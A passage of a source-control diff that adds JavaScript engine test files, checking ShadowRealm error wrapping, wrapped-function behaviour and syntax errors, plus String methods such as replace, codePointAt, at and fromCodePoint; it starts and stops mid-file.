+assertEq(wrappedf(), 10);
+
+var evaluate_from_other_realm = g.evaluate('ShadowRealm.prototype.evaluate');
+
+// wrappedb should be a CCW, since the callee of the .call comes from the other
+// compartment.
+var wrappedb = evaluate_from_other_realm.call(sr, "function b() { return 12; }; b");
+assertEq(wrappedb(), 12);
+
+nukeAllCCWs()
+// This throws, but the dead object message is lost and replaced with the wrapped function
+// object message.
+assertThrowsInstanceOf(() => wrappedf(), TypeError);
+assertThrowsInstanceOf(() => wrappedb(), TypeError);
+
+if (typeof reportCompare === 'function')
+ reportCompare(true, true); \ No newline at end of file
diff --git a/js/src/tests/non262/ShadowRealms/error.js b/js/src/tests/non262/ShadowRealms/error.js
new file mode 100644
index 0000000000..0d0a559b28
--- /dev/null
+++ b/js/src/tests/non262/ShadowRealms/error.js
@@ -0,0 +1,102 @@
+// |reftest| shell-option(--enable-shadow-realms) skip-if(!xulRuntime.shell)
+
+let sr = new ShadowRealm();
+
+try {
+ sr.evaluate("throw new Error('hi')");
+ assertEq(true, false, "Should have thrown");
+} catch (e) {
+ assertEq(e instanceof TypeError, true, "Correct type of error")
+ assertEq(/Error: hi/.test(e.message), true, "Should have included information from thrown error");
+}
+
+try {
+ sr.evaluate("throw new Error('∂å∂')");
+ assertEq(true, false, "Should have thrown");
+} catch (e) {
+ assertEq(e instanceof TypeError, true, "Correct type of error")
+ assertEq(/Error: ∂å∂/.test(e.message), true, "Should have included information from thrown error, UTF-8 Pass through.");
+}
+
+try {
+ sr.evaluate("throw {name: 'Hello', message: 'goodbye'}");
+ assertEq(true, false, "Should have thrown");
+} catch (e) {
+ assertEq(e instanceof TypeError, true, "Correct type of error")
+ assertEq(/uncaught exception: Object/.test(e.message), true, "Should get generic fillin message, non-string");
+}
+
+try {
+ sr.evaluate("throw {name: 10, message: 11}");
+ assertEq(true, false, "Should have thrown");
+} catch (e) {
+ assertEq(e instanceof TypeError, true, "Correct type of error")
+ assertEq(/uncaught exception: Object/.test(e.message), true, "Should get generic fillin message, non-string");
+}
+
+
+try {
+ sr.evaluate("throw { get name() { return 'holy'; }, get message() { return 'smokes' } }");
+ assertEq(true, false, "Should have thrown");
+} catch (e) {
+ assertEq(e instanceof TypeError, true, "Correct type of error")
+ assertEq(/uncaught exception: Object/.test(e.message), true, "Should get generic error message, getters");
+}
+
+// Wrapped Functions
+try {
+ var wrapped = sr.evaluate("() => { throw new Error('hi') }");
+ assertEq(!!wrapped, true, "Wrapped created");
+ wrapped();
+ assertEq(true, false, "Should have thrown");
+} catch (e) {
+ assertEq(e instanceof TypeError, true, "Correct type of error")
+ assertEq(/Error: hi/.test(e.message), true, "Should have included information from thrown error");
+}
+
+try {
+ var wrapped = sr.evaluate("() => { throw new Error('∂å∂') } ");
+ assertEq(!!wrapped, true, "Wrapped created");
+ wrapped();
+ assertEq(true, false, "Should have thrown");
+} catch (e) {
+ assertEq(e instanceof TypeError, true, "Correct type of error")
+ assertEq(/Error: ∂å∂/.test(e.message), true, "Should have included information from thrown error, UTF-8 Pass through.");
+}
+
+try {
+ var wrapped = sr.evaluate("() => { throw {name: 'Hello', message: 'goodbye'} } ");
+ assertEq(!!wrapped, true, "Wrapped created");
+ wrapped();
+ assertEq(true, false, "Should have thrown");
+} catch (e) {
+ assertEq(e instanceof TypeError, true, "Correct type of error")
+ assertEq(/uncaught exception: Object/.test(e.message), true, "Should get generic error message");
+}
+
+try {
+ var wrapped = sr.evaluate("() => { throw {name: 10, message: 11} } ");
+ assertEq(!!wrapped, true, "Wrapped created");
+ wrapped();
+ assertEq(true, false, "Should have thrown");
+} catch (e) {
+ assertEq(e instanceof TypeError, true, "Correct type of error")
+ print(e.message)
+ assertEq(/uncaught exception: Object/.test(e.message), true, "Should get generic error message");
+}
+
+
+try {
+ var wrapped = sr.evaluate("() => { throw { get name() { return 'holy'; }, get message() { return 'smokes' } } } ");
+ assertEq(!!wrapped, true, "Wrapped created");
+ wrapped();
+ assertEq(true, false, "Should have thrown");
+} catch (e) {
+ assertEq(e instanceof TypeError, true, "Correct type of error")
+ assertEq(/uncaught exception: Object/.test(e.message), true, "Should get generic error message");
+}
+
+
+
+if (typeof reportCompare === 'function')
+ reportCompare(true, true); \ No newline at end of file
diff --git a/js/src/tests/non262/ShadowRealms/function-copy-name-and-length-fails-error-realm.js b/js/src/tests/non262/ShadowRealms/function-copy-name-and-length-fails-error-realm.js
new file mode 100644
index 0000000000..23040c9fb3
--- /dev/null
+++ b/js/src/tests/non262/ShadowRealms/function-copy-name-and-length-fails-error-realm.js
@@ -0,0 +1,27 @@
+// |reftest| shell-option(--enable-shadow-realms) skip-if(!xulRuntime.shell)
+
+var sr = new ShadowRealm();
+
+var id = sr.evaluate(`x => x()`);
+
+// |id| is a Function from the current realm and _not_ from ShadowRealm.
+assertEq(id instanceof Function, true);
+
+function f() {
+ return 1;
+}
+
+// Smoke test: Ensure calling |f| through the ShadowRealm works correctly.
+assertEq(id(f), 1);
+
+// Add an accessor for "name" which throws. This will lead to throwing an
+// exception in CopyNameAndLength. The thrown exception should be from the
+// realm of |id|, i.e. the current realm.
+Object.defineProperty(f, "name", {
+ get() { throw new Error; }
+});
+
+assertThrowsInstanceOf(() => id(f), TypeError);
+
+if (typeof reportCompare === 'function')
+ reportCompare(true, true);
diff --git a/js/src/tests/non262/ShadowRealms/function-return.js b/js/src/tests/non262/ShadowRealms/function-return.js
new file mode 100644
index 0000000000..d0853bcbb3
--- /dev/null
+++ b/js/src/tests/non262/ShadowRealms/function-return.js
@@ -0,0 +1,73 @@
+// |reftest| shell-option(--enable-shadow-realms) skip-if(!xulRuntime.shell)
+
+// The output of Function.prototype.toString must match the |NativeFunction| production.
+// https://tc39.es/ecma262/#sec-function.prototype.tostring
+//
+// NativeFunction :
+// function NativeFunctionAccessor? PropertyName[~Yield, ~Await]? ( FormalParameters[~Yield, ~Await] ) { [ native code ] }
+//
+// NativeFunctionAccessor :
+// get
+// set
+
+function assertMatchesNativeFunction(f) {
+ var source = f.toString();
+
+ // Starts with "function".
+ assertEq(/^function\b/.test(source), true);
+
+ // Remove the optional |NativeFunctionAccessor| part.
+ var nativeAccesorRe = /^(?<start>\s*function)(?<accessor>\s+[gs]et)(?<end>\s+[^(].*)$/;
+ var match = nativeAccesorRe.exec(source);
+ if (match) {
+ source = match.groups.start + match.groups.end;
+ }
+
+ // The body must include the string "[native code".
+ var closeCurly = source.lastIndexOf("}");
+ var openCurly = source.lastIndexOf("{");
+ assertEq(openCurly < closeCurly, true);
+
+ var body = source.slice(openCurly + 1, closeCurly);
+ assertEq(/^\s*\[native code\]\s*$/.test(body), true);
+
+ // Verify |PropertyName| and |FormalParameters| are syntactically correct by parsing the source
+ // code. But we first need to replace the "[native code]" substring.
+ source = source.slice(0, openCurly) + "{}";
+
+ // Also prepend "void" to parse the function source code as a FunctionExpression, because we
+ // don't necessarily have a name part.
+ source = "void " + source;
+
+ try {
+ Function(source);
+ } catch {
+ assertEq(true, false, `${source} doesn't match NativeFunction`);
+ }
+}
+
+let sr = new ShadowRealm();
+var f = sr.evaluate("function f() { }; f");
+
+assertMatchesNativeFunction(f);
+
+f.name = "koala"
+assertMatchesNativeFunction(f);
+
+Object.defineProperty(f, "name", { writable: true, value: "koala" });
+assertMatchesNativeFunction(f);
+
+f.name = "panda"
+assertMatchesNativeFunction(f);
+
+f.name = "has whitespace, therefore shouldn't match the PropertyName production";
+assertMatchesNativeFunction(f);
+
+f.name = 123;
+assertMatchesNativeFunction(f);
+
+Object.defineProperty(f, "name", { get() { throw new Error("unexpected side-effect"); } });
+assertMatchesNativeFunction(f);
+
+if (typeof reportCompare === 'function')
+ reportCompare(true, true);
diff --git a/js/src/tests/non262/ShadowRealms/syntax-error.js b/js/src/tests/non262/ShadowRealms/syntax-error.js
new file mode 100644
index 0000000000..8cae199f50
--- /dev/null
+++ b/js/src/tests/non262/ShadowRealms/syntax-error.js
@@ -0,0 +1,33 @@
+// |reftest| shell-option(--enable-shadow-realms) skip-if(!xulRuntime.shell)
+
+let sr = new ShadowRealm();
+
+try {
+ sr.evaluate("var x /");
+ assertEq(true, false, "Should have thrown");
+} catch (e) {
+ assertEq(e instanceof SyntaxError, true, "Same Global Error")
+ assertEq(/unterminated regular expression literal/.test(e.message), true, "Should have reported a sensible error message");
+}
+
+try {
+ sr.evaluate("var x =");
+ assertEq(true, false, "Should have thrown");
+} catch (e) {
+ assertEq(e instanceof SyntaxError, true, "Same Global Error")
+ assertEq(/expected expression/.test(e.message), true, "Should have reported a sensible error message");
+}
+
+
+try {
+ sr.evaluate("#x in this");
+ assertEq(true, false, "Should have thrown");
+} catch (e) {
+ assertEq(e instanceof SyntaxError, true, "Same Global Error")
+ assertEq(/reference to undeclared private field or method/.test(e.message), true, "Should have reported a sensible error message");
+}
+
+
+
+if (typeof reportCompare === 'function')
+ reportCompare(true, true); \ No newline at end of file
diff --git a/js/src/tests/non262/ShadowRealms/unwrap-wrap-with-proto.js b/js/src/tests/non262/ShadowRealms/unwrap-wrap-with-proto.js
new file mode 100644
index 0000000000..f4e07e67b5
--- /dev/null
+++ b/js/src/tests/non262/ShadowRealms/unwrap-wrap-with-proto.js
@@ -0,0 +1,12 @@
+// |reftest| shell-option(--enable-shadow-realms) skip-if(!xulRuntime.shell)
+
+var sr = new ShadowRealm();
+
+var w = wrapWithProto(sr, null);
+
+var r = ShadowRealm.prototype.evaluate.call(w, `"ok"`);
+
+assertEq(r, "ok");
+
+if (typeof reportCompare === 'function')
+ reportCompare(true, true);
diff --git a/js/src/tests/non262/String/15.5.4.11-01.js b/js/src/tests/non262/String/15.5.4.11-01.js
new file mode 100644
index 0000000000..2125cbf829
--- /dev/null
+++ b/js/src/tests/non262/String/15.5.4.11-01.js
@@ -0,0 +1,66 @@
+/*
+ * Any copyright is dedicated to the Public Domain.
+ * http://creativecommons.org/licenses/publicdomain/
+ */
+
+var BUGNUMBER = 587366;
+var summary = "String.prototype.replace with non-regexp searchValue";
+
+print(BUGNUMBER + ": " + summary);
+
+/**************
+ * BEGIN TEST *
+ **************/
+
+/*
+ * Check that regexp statics are preserved across the whole test.
+ * If the engine is trying to cheat by turning stuff into regexps,
+ * we should catch it!
+ */
+/(a|(b)|c)+/.exec('abcabc');
+var before = {
+ "source" : RegExp.source,
+ "$`": RegExp.leftContext,
+ "$'": RegExp.rightContext,
+ "$&": RegExp.lastMatch,
+ "$1": RegExp.$1,
+ "$2": RegExp.$2
+};
+
+var text = 'I once was lost but now am found.';
+var searchValue = 'found';
+var replaceValue;
+
+/* Lambda substitution. */
+replaceValue = function(matchStr, matchStart, textStr) {
+ assertEq(matchStr, searchValue);
+ assertEq(matchStart, 27);
+ assertEq(textStr, text);
+ return 'not watching that show anymore';
+}
+var result = text.replace(searchValue, replaceValue);
+assertEq(result, 'I once was lost but now am not watching that show anymore.');
+
+/* Dollar substitution. */
+replaceValue = "...wait, where was I again? And where is all my $$$$$$? Oh right, $`$&$'" +
+ " But with no $$$$$$"; /* Note the dot is not replaced and trails the end. */
+result = text.replace(searchValue, replaceValue);
+assertEq(result, 'I once was lost but now am ...wait, where was I again?' +
+ ' And where is all my $$$? Oh right, I once was lost but now am found.' +
+ ' But with no $$$.');
+
+/* Missing capture group dollar substitution. */
+replaceValue = "$1$&$2$'$3";
+result = text.replace(searchValue, replaceValue);
+assertEq(result, 'I once was lost but now am $1found$2.$3.');
+
+/* Check RegExp statics haven't been mutated. */
+for (var ident in before)
+ assertEq(RegExp[ident], before[ident]);
+
+/******************************************************************************/
+
+if (typeof reportCompare === "function")
+ reportCompare(true, true);
+
+print("All tests passed!");
diff --git a/js/src/tests/non262/String/15.5.4.2.js b/js/src/tests/non262/String/15.5.4.2.js
new file mode 100644
index 0000000000..46c7ccb69c
--- /dev/null
+++ b/js/src/tests/non262/String/15.5.4.2.js
@@ -0,0 +1,14 @@
+/*
+ * Any copyright is dedicated to the Public Domain.
+ * http://creativecommons.org/licenses/publicdomain/
+ */
+
+assertEq(raisesException(TypeError)('String.prototype.toString.call(42)'), true);
+assertEq(raisesException(TypeError)('String.prototype.toString.call(true)'), true);
+assertEq(raisesException(TypeError)('String.prototype.toString.call({})'), true);
+assertEq(raisesException(TypeError)('String.prototype.toString.call(null)'), true);
+assertEq(raisesException(TypeError)('String.prototype.toString.call([])'), true);
+assertEq(raisesException(TypeError)('String.prototype.toString.call(undefined)'), true);
+assertEq(completesNormally('String.prototype.toString.call("")'), true);
+
+reportCompare(true, true);
diff --git a/js/src/tests/non262/String/15.5.4.7.js b/js/src/tests/non262/String/15.5.4.7.js
new file mode 100644
index 0000000000..4303b797f4
--- /dev/null
+++ b/js/src/tests/non262/String/15.5.4.7.js
@@ -0,0 +1,20 @@
+/*
+ * Any copyright is dedicated to the Public Domain.
+ * http://creativecommons.org/licenses/publicdomain/
+ */
+
+var BUGNUMBER = 612838;
+var summary = "String.prototype.indexOf with empty searchString";
+
+print(BUGNUMBER + ": " + summary);
+
+assertEq("123".indexOf("", -1), 0);
+assertEq("123".indexOf("", 0), 0);
+assertEq("123".indexOf("", 1), 1);
+assertEq("123".indexOf("", 3), 3);
+assertEq("123".indexOf("", 4), 3);
+assertEq("123".indexOf("", 12345), 3);
+
+reportCompare(true, true);
+
+print("All tests passed!");
diff --git a/js/src/tests/non262/String/AdvanceStringIndex.js b/js/src/tests/non262/String/AdvanceStringIndex.js
new file mode 100644
index 0000000000..fc40466039
--- /dev/null
+++ b/js/src/tests/non262/String/AdvanceStringIndex.js
@@ -0,0 +1,43 @@
+var BUGNUMBER = 1135377;
+var summary = "Implement RegExp unicode flag -- AdvanceStringIndex in global match and replace.";
+
+print(BUGNUMBER + ": " + summary);
+
+// ==== String.prototype.match ====
+
+assertEqArray("\uD83D\uDC38\uD83D\uDC39X\uD83D\uDC3A".match(/\uD83D|X|/gu),
+ ["", "", "X", "", ""]);
+assertEqArray("\uD83D\uDC38\uD83D\uDC39X\uD83D\uDC3A".match(/\uDC38|X|/gu),
+ ["", "", "X", "", ""]);
+assertEqArray("\uD83D\uDC38\uD83D\uDC39X\uD83D\uDC3A".match(/\uD83D\uDC38|X|/gu),
+ ["\uD83D\uDC38", "", "X", "", ""]);
+
+// ==== String.prototype.replace ====
+
+// empty string replacement (optimized)
+assertEqArray("\uD83D\uDC38\uD83D\uDC39X\uD83D\uDC3A".replace(/\uD83D|X|/gu, ""),
+ "\uD83D\uDC38\uD83D\uDC39\uD83D\uDC3A");
+assertEqArray("\uD83D\uDC38\uD83D\uDC39X\uD83D\uDC3A".replace(/\uDC38|X|/gu, ""),
+ "\uD83D\uDC38\uD83D\uDC39\uD83D\uDC3A");
+assertEqArray("\uD83D\uDC38\uD83D\uDC39X\uD83D\uDC3A".replace(/\uD83D\uDC38|X|/gu, ""),
+ "\uD83D\uDC39\uD83D\uDC3A");
+
+// non-empty string replacement
+assertEqArray("\uD83D\uDC38\uD83D\uDC39X\uD83D\uDC3A".replace(/\uD83D|X|/gu, "x"),
+ "x\uD83D\uDC38x\uD83D\uDC39xx\uD83D\uDC3Ax");
+assertEqArray("\uD83D\uDC38\uD83D\uDC39X\uD83D\uDC3A".replace(/\uDC38|X|/gu, "x"),
+ "x\uD83D\uDC38x\uD83D\uDC39xx\uD83D\uDC3Ax");
+assertEqArray("\uD83D\uDC38\uD83D\uDC39X\uD83D\uDC3A".replace(/\uD83D\uDC38|X|/gu, "x"),
+ "xx\uD83D\uDC39xx\uD83D\uDC3Ax");
+
+// ==== String.prototype.split ====
+
+assertEqArray("\uD83D\uDC38\uD83D\uDC39X\uD83D\uDC3A".split(/\uD83D|X|/u),
+ ["\uD83D\uDC38", "\uD83D\uDC39", "\uD83D\uDC3A"]);
+assertEqArray("\uD83D\uDC38\uD83D\uDC39X\uD83D\uDC3A".split(/\uDC38|X|/u),
+ ["\uD83D\uDC38", "\uD83D\uDC39", "\uD83D\uDC3A"]);
+assertEqArray("\uD83D\uDC38\uD83D\uDC39X\uD83D\uDC3A".split(/\uD83D\uDC38|X|/u),
+ ["", "\uD83D\uDC39", "\uD83D\uDC3A"]);
+
+if (typeof reportCompare === "function")
+ reportCompare(true, true);
diff --git a/js/src/tests/non262/String/IsRegExp.js b/js/src/tests/non262/String/IsRegExp.js
new file mode 100644
index 0000000000..f8f4d3fb16
--- /dev/null
+++ b/js/src/tests/non262/String/IsRegExp.js
@@ -0,0 +1,24 @@
+var BUGNUMBER = 1054755;
+var summary = 'String.prototype.{startsWith,endsWith,includes} should call IsRegExp.';
+
+print(BUGNUMBER + ": " + summary);
+
+for (var method of ["startsWith", "endsWith", "includes"]) {
+ for (var re of [/foo/, new RegExp()]) {
+ assertThrowsInstanceOf(() => "foo"[method](re), TypeError);
+
+ re[Symbol.match] = false;
+ "foo"[method](re);
+ }
+
+ for (var v1 of [true, 1, "bar", [], {}, Symbol.iterator]) {
+ assertThrowsInstanceOf(() => "foo"[method]({ [Symbol.match]: v1 }), TypeError);
+ }
+
+ for (var v2 of [false, 0, undefined, ""]) {
+ "foo"[method]({ [Symbol.match]: v2 });
+ }
+}
+
+if (typeof reportCompare === "function")
+ reportCompare(true, true);
diff --git a/js/src/tests/non262/String/at.js b/js/src/tests/non262/String/at.js
new file mode 100644
index 0000000000..c994d44de1
--- /dev/null
+++ b/js/src/tests/non262/String/at.js
@@ -0,0 +1,38 @@
+function basic() {
+ assertEq("a".at(0), "a");
+ assertEq("a".at(-1), "a");
+
+ assertEq("".at(0), undefined);
+ assertEq("".at(-1), undefined);
+ assertEq("".at(1), undefined);
+
+ assertEq("ab".at(0), "a");
+ assertEq("ab".at(1), "b");
+ assertEq("ab".at(-2), "a");
+ assertEq("ab".at(-1), "b");
+
+ assertEq("ab".at(2), undefined);
+ assertEq("ab".at(-3), undefined);
+ assertEq("ab".at(-4), undefined);
+ assertEq("ab".at(Infinity), undefined);
+ assertEq("ab".at(-Infinity), undefined);
+ assertEq("ab".at(NaN), "a"); // ToInteger(NaN) = 0
+
+ assertEq("\u{1f921}".at(0), "\u{d83e}");
+ assertEq("\u{1f921}".at(1), "\u{dd21}");
+}
+
+function other() {
+ var n = 146;
+ assertEq(String.prototype.at.call(n, 0), "1");
+ var obj = {};
+ assertEq(String.prototype.at.call(obj, -1), "]");
+ var b = true;
+ assertEq(String.prototype.at.call(b, 0), "t");
+}
+
+basic();
+other();
+
+if (typeof reportCompare === "function")
+ reportCompare(true, true);
diff --git a/js/src/tests/non262/String/browser.js b/js/src/tests/non262/String/browser.js
new file mode 100644
index 0000000000..e69de29bb2
--- /dev/null
+++ b/js/src/tests/non262/String/browser.js
diff --git a/js/src/tests/non262/String/codePointAt.js b/js/src/tests/non262/String/codePointAt.js
new file mode 100644
index 0000000000..5b14969390
--- /dev/null
+++ b/js/src/tests/non262/String/codePointAt.js
@@ -0,0 +1,84 @@
+var BUGNUMBER = 918879;
+var summary = 'String.prototype.codePointAt';
+
+print(BUGNUMBER + ": " + summary);
+
+// Tests taken from:
+// https://github.com/mathiasbynens/String.prototype.codePointAt/blob/master/tests/tests.js
+assertEq(String.prototype.codePointAt.length, 1);
+assertEq(String.prototype.propertyIsEnumerable('codePointAt'), false);
+
+// String that starts with a BMP symbol
+assertEq('abc\uD834\uDF06def'.codePointAt(''), 0x61);
+assertEq('abc\uD834\uDF06def'.codePointAt('_'), 0x61);
+assertEq('abc\uD834\uDF06def'.codePointAt(), 0x61);
+assertEq('abc\uD834\uDF06def'.codePointAt(-Infinity), undefined);
+assertEq('abc\uD834\uDF06def'.codePointAt(-1), undefined);
+assertEq('abc\uD834\uDF06def'.codePointAt(-0), 0x61);
+assertEq('abc\uD834\uDF06def'.codePointAt(0), 0x61);
+assertEq('abc\uD834\uDF06def'.codePointAt(3), 0x1D306);
+assertEq('abc\uD834\uDF06def'.codePointAt(4), 0xDF06);
+assertEq('abc\uD834\uDF06def'.codePointAt(5), 0x64);
+assertEq('abc\uD834\uDF06def'.codePointAt(42), undefined);
+assertEq('abc\uD834\uDF06def'.codePointAt(Infinity), undefined);
+assertEq('abc\uD834\uDF06def'.codePointAt(Infinity), undefined);
+assertEq('abc\uD834\uDF06def'.codePointAt(NaN), 0x61);
+assertEq('abc\uD834\uDF06def'.codePointAt(false), 0x61);
+assertEq('abc\uD834\uDF06def'.codePointAt(null), 0x61);
+assertEq('abc\uD834\uDF06def'.codePointAt(undefined), 0x61);
+
+// String that starts with an astral symbol
+assertEq('\uD834\uDF06def'.codePointAt(''), 0x1D306);
+assertEq('\uD834\uDF06def'.codePointAt('1'), 0xDF06);
+assertEq('\uD834\uDF06def'.codePointAt('_'), 0x1D306);
+assertEq('\uD834\uDF06def'.codePointAt(), 0x1D306);
+assertEq('\uD834\uDF06def'.codePointAt(-1), undefined);
+assertEq('\uD834\uDF06def'.codePointAt(-0), 0x1D306);
+assertEq('\uD834\uDF06def'.codePointAt(0), 0x1D306);
+assertEq('\uD834\uDF06def'.codePointAt(1), 0xDF06);
+assertEq('\uD834\uDF06def'.codePointAt(42), undefined);
+assertEq('\uD834\uDF06def'.codePointAt(false), 0x1D306);
+assertEq('\uD834\uDF06def'.codePointAt(null), 0x1D306);
+assertEq('\uD834\uDF06def'.codePointAt(undefined), 0x1D306);
+
+// Lone high surrogates
+assertEq('\uD834abc'.codePointAt(''), 0xD834);
+assertEq('\uD834abc'.codePointAt('_'), 0xD834);
+assertEq('\uD834abc'.codePointAt(), 0xD834);
+assertEq('\uD834abc'.codePointAt(-1), undefined);
+assertEq('\uD834abc'.codePointAt(-0), 0xD834);
+assertEq('\uD834abc'.codePointAt(0), 0xD834);
+assertEq('\uD834abc'.codePointAt(false), 0xD834);
+assertEq('\uD834abc'.codePointAt(NaN), 0xD834);
+assertEq('\uD834abc'.codePointAt(null), 0xD834);
+assertEq('\uD834abc'.codePointAt(undefined), 0xD834);
+
+// Lone low surrogates
+assertEq('\uDF06abc'.codePointAt(''), 0xDF06);
+assertEq('\uDF06abc'.codePointAt('_'), 0xDF06);
+assertEq('\uDF06abc'.codePointAt(), 0xDF06);
+assertEq('\uDF06abc'.codePointAt(-1), undefined);
+assertEq('\uDF06abc'.codePointAt(-0), 0xDF06);
+assertEq('\uDF06abc'.codePointAt(0), 0xDF06);
+assertEq('\uDF06abc'.codePointAt(false), 0xDF06);
+assertEq('\uDF06abc'.codePointAt(NaN), 0xDF06);
+assertEq('\uDF06abc'.codePointAt(null), 0xDF06);
+assertEq('\uDF06abc'.codePointAt(undefined), 0xDF06);
+
+(function() { String.prototype.codePointAt.call(undefined); }, TypeError);
+assertThrowsInstanceOf(function() { String.prototype.codePointAt.call(undefined, 4); }, TypeError);
+assertThrowsInstanceOf(function() { String.prototype.codePointAt.call(null); }, TypeError);
+assertThrowsInstanceOf(function() { String.prototype.codePointAt.call(null, 4); }, TypeError);
+assertEq(String.prototype.codePointAt.call(42, 0), 0x34);
+assertEq(String.prototype.codePointAt.call(42, 1), 0x32);
+assertEq(String.prototype.codePointAt.call({ 'toString': function() { return 'abc'; } }, 2), 0x63);
+
+assertThrowsInstanceOf(function() { String.prototype.codePointAt.apply(undefined); }, TypeError);
+assertThrowsInstanceOf(function() { String.prototype.codePointAt.apply(undefined, [4]); }, TypeError);
+assertThrowsInstanceOf(function() { String.prototype.codePointAt.apply(null); }, TypeError);
+assertThrowsInstanceOf(function() { String.prototype.codePointAt.apply(null, [4]); }, TypeError);
+assertEq(String.prototype.codePointAt.apply(42, [0]), 0x34);
+assertEq(String.prototype.codePointAt.apply(42, [1]), 0x32);
+assertEq(String.prototype.codePointAt.apply({ 'toString': function() { return 'abc'; } }, [2]), 0x63);
+
+reportCompare(0, 0, "ok");
diff --git a/js/src/tests/non262/String/defaultvalue.js b/js/src/tests/non262/String/defaultvalue.js
new file mode 100644
index 0000000000..50b4fe00df
--- /dev/null
+++ b/js/src/tests/non262/String/defaultvalue.js
@@ -0,0 +1,169 @@
+/*
+ * Any copyright is dedicated to the Public Domain.
+ * http://creativecommons.org/licenses/publicdomain/
+ */
+
+var BUGNUMBER = 645464;
+var summary =
+ "[[DefaultValue]] behavior wrong for String with overridden valueOf/toString";
+
+print(BUGNUMBER + ": " + summary);
+
+/**************
+ * BEGIN TEST *
+ **************/
+
+// equality
+
+var s = new String("c");
+assertEq(s == "c", true);
+
+var s2 = new String();
+s2.valueOf = function() { return "foo"; };
+assertEq(s2 == "foo", true);
+
+var s3 = new String();
+s3.toString = function() { return "bar"; };
+assertEq(s3 == "", true);
+
+function testEquality()
+{
+ var s = new String("c");
+ assertEq(s == "c", true);
+
+ var s2 = new String();
+ s2.valueOf = function() { return "foo"; };
+ assertEq(s2 == "foo", true);
+
+ var s3 = new String();
+ s3.toString = function() { return "bar"; };
+ assertEq(s3 == "", true);
+}
+testEquality();
+
+
+// addition of String to string
+
+var s = new String();
+assertEq(s + "", "");
+
+var s2 = new String();
+s2.toString = function() { return "bar"; };
+assertEq(s2 + "", "");
+
+var s3 = new String();
+s3.valueOf = function() { return "baz"; };
+assertEq(s3 + "", "baz");
+
+function testStringAddition()
+{
+ var s = new String();
+ assertEq(s + "", "");
+
+ var s2 = new String();
+ s2.toString = function() { return "bar"; };
+ assertEq(s2 + "", "");
+
+ var s3 = new String();
+ s3.valueOf = function() { return "baz"; };
+ assertEq(s3 + "", "baz");
+}
+testStringAddition();
+
+
+// addition of String to String
+
+var s = new String();
+assertEq(s + s, "");
+
+var s2 = new String();
+s2.toString = function() { return "baz"; };
+assertEq(s2 + s2, "");
+
+var s3 = new String();
+s3.valueOf = function() { return "quux"; };
+assertEq(s3 + s3, "quuxquux");
+
+function testNonStringAddition()
+{
+ var s = new String();
+ assertEq(s + s, "");
+
+ var s2 = new String();
+ s2.toString = function() { return "baz"; };
+ assertEq(s2 + s2, "");
+
+ var s3 = new String();
+ s3.valueOf = function() { return "quux"; };
+ assertEq(s3 + s3, "quuxquux");
+}
+testNonStringAddition();
+
+
+// String as bracketed property name
+
+var obj = { primitive: 17, valueOf: 42, toString: 8675309 };
+
+var s = new String("primitive");
+assertEq(obj[s], 17);
+
+var s2 = new String("primitive");
+s2.valueOf = function() { return "valueOf"; }
+assertEq(obj[s2], 17);
+
+var s3 = new String("primitive");
+s3.toString = function() { return "toString"; };
+assertEq(obj[s3], 8675309);
+
+function testPropertyNameToString()
+{
+ var obj = { primitive: 17, valueOf: 42, toString: 8675309 };
+
+ var s = new String("primitive");
+ assertEq(obj[s], 17);
+
+ var s2 = new String("primitive");
+ s2.valueOf = function() { return "valueOf"; }
+ assertEq(obj[s2], 17);
+
+ var s3 = new String("primitive");
+ s3.toString = function() { return "toString"; };
+ assertEq(obj[s3], 8675309);
+}
+testPropertyNameToString();
+
+
+// String as property name with |in| operator
+
+var s = new String();
+assertEq(s in { "": 5 }, true);
+
+var s2 = new String();
+s.toString = function() { return "baz"; };
+assertEq(s in { baz: 42 }, true);
+
+var s3 = new String();
+s3.valueOf = function() { return "quux"; };
+assertEq(s3 in { "": 17 }, true);
+
+function testInOperatorName()
+{
+ var s = new String();
+ assertEq(s in { "": 5 }, true);
+
+ var s2 = new String();
+ s.toString = function() { return "baz"; };
+ assertEq(s in { baz: 42 }, true);
+
+ var s3 = new String();
+ s3.valueOf = function() { return "quux"; };
+ assertEq(s3 in { "": 17 }, true);
+}
+testInOperatorName();
+
+/******************************************************************************/
+
+if (typeof reportCompare === "function")
+ reportCompare(true, true);
+
+print("All tests passed!");
diff --git a/js/src/tests/non262/String/fromCodePoint.js b/js/src/tests/non262/String/fromCodePoint.js
new file mode 100644
index 0000000000..dad61663f1
--- /dev/null
+++ b/js/src/tests/non262/String/fromCodePoint.js
@@ -0,0 +1,60 @@
+var BUGNUMBER = 918879;
+var summary = 'String.fromCodePoint';
+
+print(BUGNUMBER + ": " + summary);
+
+// Tests taken from:
+// https://github.com/mathiasbynens/String.fromCodePoint/blob/master/tests/tests.js
+
+assertEq(String.fromCodePoint.length, 1);
+assertEq(String.fromCodePoint.name, 'fromCodePoint');
+assertEq(String.propertyIsEnumerable('fromCodePoint'), false);
+
+assertEq(String.fromCodePoint(''), '\0');
+assertEq(String.fromCodePoint(), '');
+assertEq(String.fromCodePoint(-0), '\0');
+assertEq(String.fromCodePoint(0), '\0');
+assertEq(String.fromCodePoint(0x1D306), '\uD834\uDF06');
+assertEq(String.fromCodePoint(0x1D306, 0x61, 0x1D307), '\uD834\uDF06a\uD834\uDF07');
+assertEq(String.fromCodePoint(0x61, 0x62, 0x1D307), 'ab\uD834\uDF07');
+assertEq(String.fromCodePoint(false), '\0');
+assertEq(String.fromCodePoint(null), '\0');
+
+assertThrowsInstanceOf(function() { String.fromCodePoint('_'); }, RangeError);
+assertThrowsInstanceOf(function() { String.fromCodePoint('+Infinity'); }, RangeError);
+assertThrowsInstanceOf(function() { String.fromCodePoint('-Infinity'); }, RangeError);
+assertThrowsInstanceOf(function() { String.fromCodePoint(-1); }, RangeError);
+assertThrowsInstanceOf(function() { String.fromCodePoint(0x10FFFF + 1); }, RangeError);
+assertThrowsInstanceOf(function() { String.fromCodePoint(3.14); }, RangeError);
+assertThrowsInstanceOf(function() { String.fromCodePoint(3e-2); }, RangeError);
+assertThrowsInstanceOf(function() { String.fromCodePoint(Infinity); }, RangeError);
+assertThrowsInstanceOf(function() { String.fromCodePoint(NaN); }, RangeError);
+assertThrowsInstanceOf(function() { String.fromCodePoint(undefined); }, RangeError);
+assertThrowsInstanceOf(function() { String.fromCodePoint({}); }, RangeError);
+
+var counter = Math.pow(2, 15) * 3 / 2;
+var result = [];
+while (--counter >= 0) {
+ result.push(0); // one code unit per symbol
+}
+String.fromCodePoint.apply(null, result); // must not throw
+
+var counter = Math.pow(2, 15) * 3 / 2;
+var result = [];
+while (--counter >= 0) {
+ result.push(0xFFFF + 1); // two code units per symbol
